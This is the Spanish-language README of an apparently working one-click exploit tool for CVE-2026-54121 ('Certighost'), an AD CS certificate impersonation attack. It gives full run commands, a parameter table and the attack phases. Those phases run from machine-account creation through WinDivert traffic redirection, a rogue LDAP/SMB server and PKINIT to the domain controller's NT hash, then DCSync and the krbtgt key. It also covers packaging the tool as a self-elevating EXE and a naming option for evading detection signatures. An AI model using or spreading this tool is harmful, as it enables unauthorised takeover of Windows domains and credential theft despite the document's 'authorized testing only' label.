
Exploit de un clic para CVE-2026-54121 (Certighost) dirigido a la suplantación de identidad de certificados AD CS. Automatiza la creación de cuentas de máquina, la redirección de tráfico, una CA rogue, PKINIT y la extracción de hashes NT para el compromiso del dominio.
Herramienta de explotación de un solo clic para CVE-2026-54121 (Certighost) — solo para laboratorios locales/pruebas autorizadas.
Versión nativa para Windows adaptada del PoC upstream (análisis de @h0j3n / implementación de @aniqfakhrul): Incluye un redireccionador WinDivert propio (pydivert), un solo comando completa "crear cuenta → redirigir → escucha rogue → CA chase → certificado de identidad de DC → PKINIT → hash NT de la cuenta de máquina del DC", sin detener el servicio Server, sin modificar ninguna configuración del host, y se restaura al salir.
| Parche | Descripción |
|---|
--redirect | Redireccionador WinDivert integrado (445 → --lsa-port, filtro de dominio estrecho: solo intercepta tráfico de la IP del listener), se inicia/detiene con el proceso y restaura 445 automáticamente al salir. Sustituye al PortBender oficial (cuyo artefacto oficial es un DLL reflectivo de 32 bits específico para CS, no puede ejecutarse de forma independiente) |
--lsa-port | Puerto de escucha rogue LSA/SMB parametrizado (por defecto 445; con --redirect por defecto 8445) |
Guarda os.geteuid | La comprobación de root del upstream falla en Windows → guarda con hasattr + aviso de puerto en Windows |
| Comprobación de disponibilidad parametrizada | El upstream tiene hardcodeado port_ok(127.0.0.1, 445) → args.lsa_port |
| Cabecera PEP 723 | uv run certighost.py ... se ejecuta directamente, dependencias resueltas automáticamente (incluido impacket git-master), cero contaminación del entorno |
--new-computer-name | Nombre personalizado para la cuenta creada (evita la firma de detección GHOST*) |
--new-computer-pass | Contraseña personalizada para la cuenta creada (debe cumplir la política de contraseñas del dominio) |
Polyfill random.randbytes | impacket git-master usa API 3.9+ en la importación de smbserver; necesario para 3.8, implementado con os.urandom |
| Salida inmediata al finalizar | flush + os._exit() tras GGWP (elimina de raíz el cuelgue de minutos causado por hilos no daemon de impacket) |
| Códigos de salida semánticos | 0 éxito / 1 fallo |
Guardado de <dc>.hash.txt | El hash NT de la cuenta de máquina del DC se escribe en un archivo (solo una línea name:lm:nt) |
① Precomprobación (solo lectura, confirma CA y requisitos de explotación):
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'
Muestra la lista de Enterprise CA, emisión de plantilla Machine y permisos de registro (requiere que Domain Computers tenga Enroll).
En la máquina CA verifique además el indicador chase: certutil -getreg policy\EditFlags (debe tener
EDITF_ENABLECHASECLIENTDC; verificado activado por defecto en instalación de Server 2016).
② Explotación de un solo clic (Windows, administrador):
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
--dc-ip 192.168.16.144 --listener <IP alcanzable desde este host> --redirect \
--new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'
Tres artefactos de salida (guardados automáticamente en el directorio de ejecución):
| Archivo | Contenido |
|---|---|
<dc>.pfx | Certificado de identidad del DC (material PKINIT) |
<dc>.ccache | Caché de tickets Kerberos |
<dc>.hash.txt | Hash NT de la cuenta de máquina del DC (solo una línea name:lm:nt) |
③ Limpieza (eliminar la cuenta creada):
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH
| Parámetro | Descripción |
|---|---|
-d / -u / -p / -H | Dominio / usuario de bajos privilegios / contraseña / hash NTLM |
--dc-ip | Dirección del DC (obligatorio) |
--listener IP | IP del listener rogue (especificar explícitamente si hay múltiples NIC) |
--redirect | Núcleo de Windows: redirección WinDivert integrada de 445 (requiere administrador + pydivert) |
--lsa-port N | Puerto LSA rogue (por defecto 8445 con --redirect) |
--new-computer-name | Nombre personalizado para la cuenta creada (añade $ automáticamente) |
--new-computer-pass | Contraseña personalizada para la cuenta creada (mutuamente excluyente con la ruta existing) |
--computer-name/--computer-pass/--computer-hash | Sin MAQ: reutilizar una cuenta de máquina ya controlada |
--target-san DC01$ | Especificar el objetivo a suplantar (por defecto descubre el DC automáticamente) |
--template | Plantilla de certificado (por defecto Machine) |
--ca / --ca-ip | Especificar CA manualmente |
--debug | Trazado completo de todas las fases del protocolo |
Phase1 Usuario de bajos privilegios crea cuenta de máquina (ruta MAQ automática / --new-computer-* personalizada / --computer-* reutiliza existente)
Phase2 [Windows] Redireccionador WinDivert integrado: listener_ip:445 -> :lsa_port
Filtro de dominio estrecho (solo esa IP), los paquetes reescritos salen del filtro = sin bucle de reinyección; el handle se cierra con el proceso
Phase3 Servidor rogue: LDAP:389 + LSA/SMB:lsa_port (responde al chase cdc/rmd, alimenta datos de identidad del DC)
Phase4 Envía solicitud de certificado como identidad de máquina (plantilla Machine), el CA se conecta de vuelta al rogue → emite certificado de identidad del DC
Phase5 PKINIT → el KDC devuelve el hash NT de la cuenta de máquina del DC en el PAC → se extrae y escribe en .hash.txt
Phase6 (Posterior) secretsdump DCSync → krbtgt → control total del dominio; cleanup_ghost elimina la cuenta creada
El uso en Linux no cambia (root enlaza directamente 445/389, sin --redirect).
La extracción de hash de la cadena de ataque usa PKINIT → PAC → hash NT, no DCSync:
Usar secretsdump para DCSync después de obtener el hash es una operación de segundo paso, no la fuente del hash.
# PowerShell 7
./build_exe.ps1 # Nivel por defecto (Win10 / Server 2016+)
./build_exe.ps1 3.10 # Nivel compatible (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy # Nivel heredado (Win7 SP1 / Server 2008 R2 x64)
Artefacto dist\certighost_x64.exe: 19-27MB (según nivel), auto-elevación --uac-admin, cero dependencias,
el script genera automáticamente la suma de verificación SHA256.
Se requiere CPython 3.8.10 oficial de python.org instalado en la siguiente ruta (la última compilación binaria oficial que soporta el kernel de Win7, no depende de las nuevas API UCRT):
D:\网安相关\Tools\Python\cpython-3.8.10-x64\
Comando de instalación (silencioso, sin escribir en PATH, sin instalar el launcher):
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0
Además, fijar PyInstaller==5.13.2 (el bootloader 6.x no soporta el kernel de Win7) y cryptography==38.0.4 (las ruedas Rust a partir de 38.x requieren Win10+), ambos ya fijados en el script.
| Nivel | Sistema real | Cadena completa | Notas |
|---|---|---|---|
| Por defecto | Win11 | ✅ | |
| Compatible 3.10 | Win11 / Win10 / Server 2012 R2 | ✅ ×3 | Incluye WinDivert en hardware real |
| Heredado legacy | Win11 / Server 2008 R2 x64 | ✅ ×2 | 3.8.10 oficial + PyInstaller 5.13.2 |
Nota: PyInstaller+impacket son un foco importante de firmas de antivirus, evalúe usted mismo antes del despliegue.
ciphertext integrity failure: observado una vez, se resuelve reintentandocertighost.py Exploit principal (upstream + parches de nativización para Windows + PEP 723)
certighost_redirect.py Redireccionador WinDivert 445 propio (pydivert; autocomprobación --selftest/--e2e)
check_ca.py Precomprobación: CA/plantilla/permisos de registro/indicador chase (solo lectura)
cleanup_ghost.py Finalización: eliminar la cuenta creada
build_exe.ps1 Empaquetado de un solo archivo con PyInstaller (pwsh7, matriz de tres niveles, SHA256 automático)